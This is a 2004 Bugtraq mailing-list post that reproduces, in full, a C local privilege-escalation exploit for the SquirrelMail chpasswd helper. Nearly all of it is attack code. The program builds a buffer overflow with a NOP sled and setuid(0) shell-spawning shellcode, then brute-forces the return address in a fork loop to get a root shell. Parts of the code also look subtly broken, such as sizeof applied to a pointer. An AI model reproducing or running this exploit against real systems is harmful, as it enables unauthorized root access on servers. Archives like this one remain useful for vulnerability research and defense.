bugtraq - Squirrelmail chpasswd local root bruteforce exploit

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Date: 24 Aug 2004 10:13:00 -0000
From: "Jérôme" ATHIAS <jerome.athias@...amail.com>
To: bugtraq@...urityfocus.com
Subject: Squirrelmail chpasswd local root bruteforce exploit




/*

** PST_chpasswd_exp-v_b.c:

**

** Squirrelmail chpasswd local root bruteforce exploit

** Author:

** Bytes<Bytes[at]ph4nt0m.net> || <Bytes[at]ph4nt0m.org>

** http://www.ph4nt0m.net/

** Notice:

** v_b: Local bruteforce version

** v_R: remote bruteforce version

**

**

** Greatze: #ph4nt0m,#music@...57

** All PST member,Grip2,Airsupply,Jambalaya,Ann,Paul,Happy...

** Thax: My GF(Luz),Oyxin,Winewind,Envymask,Eong,luoluo,GoGo(f0r ever)...

**

**

** -=-=-=-=-=-=-=-=-=-= !!![+PH4NT0M TEAM PRIVATE EXPLOIT+]!!! =-=-=-=-=-=-=-=-=-=-

**

** Date: 2004-04 # DO NOT DISTRIBUTE #

**

** You Must get account belong to Webmaster ,www or other webserver groups.

**

*/


#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <sys/wait.h>


#define NOP 0x90

#define Fuckpr0 "./chpasswd" /* you need modify it by yourself */

#define LOOP 2000 /* loop of bruteforce */



/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */

char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"

"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";





unsigned long get_esp() {


__asm__ ("movl %esp,%eax");


}


void *M_malloc(size_t size){


register void *value;


value = malloc(size);

if(value == NULL){

printf("ERROR:virtual memory exhausted...\n");

exit(-1);

}

return value;

}



int main(void){


unsigned long ret_addr;

int i,j=0,offset=2,status;

char *buf1,*buf2;

pid_t pid;


ret_addr = get_esp() - strlen(Fuckpr0) - strlen(shellcode);


printf("\t-------------------------------------------------------\n");

printf("\t Squirrelmail chpasswd local root bruteforce exploit \n");

printf("\t code By Bytes<Bytes[at]ph4nt0m.org> 2004 \n");

printf("\t http://www.ph4nt0m.net \n");

printf("\t#######################################################\n");


sleep(1);

printf("[+] Bruteforce......\n\n");

sleep(2);


buf1 = (char *)M_malloc(150);

buf2 = (char *)M_malloc(600);


while(j <= LOOP){


if((pid = fork()) == 0){


memset(buf2,0x90,sizeof(buf2) - strlen(shellcode) - 8);

memcpy(buf2 + sizeof(buf2) - strlen(shellcode) - 8,shellcode,sizeof(shellcode));


for(i=0; i < 150; i+=4){

*((unsigned long *)(buf1+i)) = ret_addr;

}

printf("buf1 = %s\n",buf1);

execl(Fuckpr0,"chpasswd",buf1,buf2,0);

}


wait(&status);


printf("[-] Signal: #%i\n", status);


if(WIFEXITED(status) != 0 ) {


printf("[=] Step.%i: 0x%x\n[~] Exiting...\n",(j/2),ret_addr);

exit(1);


}else{


ret_addr += offset;

j += offset;

printf("[=] Offset:%d Use ret:0x%x\n",j, ret_addr);

}

}

free(buf1);

free(buf2);

return 1;

}